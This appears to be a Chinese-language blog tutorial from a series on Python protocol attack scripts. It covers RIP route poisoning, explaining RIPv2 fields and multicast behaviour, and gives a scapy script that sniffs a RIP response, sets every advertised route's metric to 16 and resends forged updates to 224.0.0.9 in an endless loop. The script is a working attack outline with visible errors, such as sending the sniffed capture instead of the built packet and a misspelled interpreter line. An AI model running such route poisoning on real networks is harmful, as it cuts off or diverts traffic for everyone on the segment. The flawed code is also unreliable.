Python 协议攻击脚本(八): RIP攻击

RIP

RIP是Routing Information Protocol(路由信息协议)的简称,它是一种较为简单的内部网关协议(Interior Gateway Protocol)。RIP是一种基于距离矢量(Distance-Vector)算法的协议,它使用跳数(Hop Count)作为度量来衡量到达目的网络的距离。RIP通过UDP报文进行路由信息的交换,使用的端口号为520。

RIPv2报文部分字段

  • command
    • 1:Request报文,向邻居请求全部或部分路由信息;
    • 2:Reponse报文,发送自己全部或部分路由信息,一个Response报文中最多包含25个路由表项。
  • next Hop 下一跳地址
  • metric 路由的开销值

RIP毒化:

原理

RIP是一种基于距离矢量(Distance-Vector)算法的协议,它使用跳数(Hop Count)作为度量值来衡量到达目的地址的距离。度量值等于从本网络到达目的网络间的设备数量。大于或等于16的跳数被定义为无穷大,即目的网络或主机不可达。

RIP消息通过组播地址224.0.0.9和UDP协议的520端口进行广播;RIP每30秒向邻居路由器发送一次广播,广播整个路由。攻击者则伪造成附近路由,再把开销设为16,达成路由毒化

RIP基础知识

数据包分析

下载rip的包

下载

Python 协议攻击脚本(八): RIP攻击_第1张图片

IP:

  • src: 路由器ip

  • dst: 224.0.0.9 rip多播地址

UDP:

  • sport:520

  • dport:520

RIP:

  • command:2 Response
  • Metric:1开销

编写脚本

查看scapy模块中RIP协议字段

>>> ls(RIP)
cmd        : ByteEnumField                       = (1)
version    : ByteField                           = (1)
null       : ShortField                          = (0)
>>> ls(RIPEntry)
AF         : ShortEnumField                      = (2)
RouteTag   : ShortField                          = (0)
addr       : IPField                             = ('0.0.0.0')
mask       : IPField                             = ('0.0.0.0')
nextHop    : IPField                             = ('0.0.0.0')
metric     : IntEnumField                        = (1)

脚本

#!/usr/bin/env pyhton3
# -*- coding:utf-8 -*-

from scapy.all import RIP,Ether,IP,UDP,RIP,RIPEntry,sniff,send

packet = sniff(stop_filter=lambda x:x.haslayer(RIP))
mac_dst= packet[-1][Ether].dst
mac_src= packet[-1][Ether].src
ip = packet[-1][RIPEntry].addr
entry = packet[-1][RIPEntry]
ripentry = RIPEntry(addr=ip,metric=16)

#判断是否有多个路由信息
if entry.getlayer(RIPEntry,2):
    while entry:
        #获取下一个路由信息
        entry = entry.getlayer(RIPEntry, 2)
        ip = entry.addr
        ripentry = ripentry / RIPEntry(addr=ip, metric=16)


rip = (Ether(dst=mac_dst,src=mac_src)
       /IP(dst="224.0.0.9",src=ip)
       /UDP(dport=520,sport=520)/RIP(cmd=2,version=2)/ripentry)

while True:
    packet.show()
    send(packet,verbose=0)

你可能感兴趣的:(Pyhton)